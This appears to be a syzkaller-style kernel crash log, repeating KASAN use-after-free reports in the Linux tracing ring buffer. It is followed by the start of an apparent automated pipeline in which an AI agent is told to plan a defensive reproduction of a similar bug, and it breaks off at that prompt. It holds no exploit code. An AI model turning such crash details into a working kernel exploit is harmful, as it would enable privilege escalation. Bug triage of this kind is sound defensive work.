do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in string_nocheck lib/vsprintf.c:648 [inline]
BUG: KASAN: use-after-free in string+0x216/0x2d0 lib/vsprintf.c:730
Read of size 1 at addr ffff888119b6ec3c by task syz-executor390/5916
CPU: 1 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
string_nocheck lib/vsprintf.c:648 [inline]
string+0x216/0x2d0 lib/vsprintf.c:730
vsnprintf+0x74a/0xef0 lib/vsprintf.c:2945
seq_buf_vprintf+0xf0/0x1c0 lib/seq_buf.c:74
trace_seq_vprintf+0xd7/0x220 kernel/trace/trace_seq.c:175
trace_event_printf+0x110/0x170 kernel/trace/trace_output.c:360
trace_raw_output_lock+0x99/0xd0 include/trace/events/lock.h:49
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in string_nocheck lib/vsprintf.c:648 [inline]
BUG: KASAN: use-after-free in string+0x216/0x2d0 lib/vsprintf.c:730
Read of size 1 at addr ffff888119b6ec3d by task syz-executor390/5916
CPU: 1 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
string_nocheck lib/vsprintf.c:648 [inline]
string+0x216/0x2d0 lib/vsprintf.c:730
vsnprintf+0x74a/0xef0 lib/vsprintf.c:2945
seq_buf_vprintf+0xf0/0x1c0 lib/seq_buf.c:74
trace_seq_vprintf+0xd7/0x220 kernel/trace/trace_seq.c:175
trace_event_printf+0x110/0x170 kernel/trace/trace_output.c:360
trace_raw_output_lock+0x99/0xd0 include/trace/events/lock.h:49
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in string_nocheck lib/vsprintf.c:648 [inline]
BUG: KASAN: use-after-free in string+0x216/0x2d0 lib/vsprintf.c:730
Read of size 1 at addr ffff888119b6ec3e by task syz-executor390/5916
CPU: 1 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
string_nocheck lib/vsprintf.c:648 [inline]
string+0x216/0x2d0 lib/vsprintf.c:730
vsnprintf+0x74a/0xef0 lib/vsprintf.c:2945
seq_buf_vprintf+0xf0/0x1c0 lib/seq_buf.c:74
trace_seq_vprintf+0xd7/0x220 kernel/trace/trace_seq.c:175
trace_event_printf+0x110/0x170 kernel/trace/trace_output.c:360
trace_raw_output_lock+0x99/0xd0 include/trace/events/lock.h:49
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in string_nocheck lib/vsprintf.c:648 [inline]
BUG: KASAN: use-after-free in string+0x216/0x2d0 lib/vsprintf.c:730
Read of size 1 at addr ffff888119b6ec3f by task syz-executor390/5916
CPU: 1 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
string_nocheck lib/vsprintf.c:648 [inline]
string+0x216/0x2d0 lib/vsprintf.c:730
vsnprintf+0x74a/0xef0 lib/vsprintf.c:2945
seq_buf_vprintf+0xf0/0x1c0 lib/seq_buf.c:74
trace_seq_vprintf+0xd7/0x220 kernel/trace/trace_seq.c:175
trace_event_printf+0x110/0x170 kernel/trace/trace_output.c:360
trace_raw_output_lock+0x99/0xd0 include/trace/events/lock.h:49
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in string_nocheck lib/vsprintf.c:648 [inline]
BUG: KASAN: use-after-free in string+0x216/0x2d0 lib/vsprintf.c:730
Read of size 1 at addr ffff888119b6ec40 by task syz-executor390/5916
CPU: 1 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
string_nocheck lib/vsprintf.c:648 [inline]
string+0x216/0x2d0 lib/vsprintf.c:730
vsnprintf+0x74a/0xef0 lib/vsprintf.c:2945
seq_buf_vprintf+0xf0/0x1c0 lib/seq_buf.c:74
trace_seq_vprintf+0xd7/0x220 kernel/trace/trace_seq.c:175
trace_event_printf+0x110/0x170 kernel/trace/trace_output.c:360
trace_raw_output_lock+0x99/0xd0 include/trace/events/lock.h:49
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:1 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 0000000000000000 dead000000000122 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000001ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5920, tgid 5912 (syz-executor390), ts 153086917757, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_subbuf_order_set+0x45d/0x14b0 kernel/trace/ring_buffer.c:7379
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
ffff888119b6eb80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
>ffff888119b6ec00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
^
ffff888119b6ec80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
ffff888119b6ed00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
==================================================================
]
|
| 1/1 |
2026/08/12 01:46 |
action |
kernel-checkouter |
0m
Results: map[KernelSrc:/app/workdir/cache/src/c45b8d2d54442f1c99f033bbcbb42035c84d8267]
|
| 2/1 |
2026/08/12 01:46 |
action |
kernel-builder |
17m
Results: map[KernelObj:/app/workdir/cache/build/226197d50b0bd5e78993b6510ae36917b6479d79]
|
| 3/1 |
2026/08/12 02:04 |
action |
codesearch-prepare |
24m
Results: map[Index:codesearch-index]
|
| 4/1 |
2026/08/12 02:28 |
agent |
initial-researcher |
6m
Model:
Instruction: You are a security researcher with deep Linux kernel background.
Your goal is to analyze a Linux kernel bug description and propose a strategy to reproduce it
with a minimal, standalone C program for the strictly defensive purpose of verifying a bugfix.
=== TOOL SELECTION GUIDELINES ===
- When looking up C function or struct definitions, prefer codesearch-definition-source
and codesearch-struct-layout first.
- Fall back to read-file or grepper only if symbol lookup fails or when inspecting macros,
headers, or non-C files.
=== CRITICAL PROHIBITIONS ===
- Do NOT propose an exploit. Focus solely on minimal technical reproduction of the bug state.
- Do NOT write long explanations. Keep your analysis and strategy proposal concise.
- Do NOT assume that the target bug has already been fixed just because a git commit title
or description mentions a similar bug or fix. Commit messages often reference related issues
or partial fixes. Proceed with proposing a reproduction strategy regardless of historical fix commits.
Prefer calling several tools at the same time to save round-trips.
Prompt: Bug Description: KASAN: use-after-free Read in ignore_event
==================================================================
BUG: KASAN: use-after-free in ignore_event+0x83e/0xaa0 kernel/trace/trace.c:2526
Read of size 2 at addr ffff88804705a1ac by task syz.6.1383/11771
CPU: 0 UID: 0 PID: 11771 Comm: syz.6.1383 Tainted: G S syzkaller #0 PREEMPT(full)
Tainted: [S]=CPU_OUT_OF_SPEC
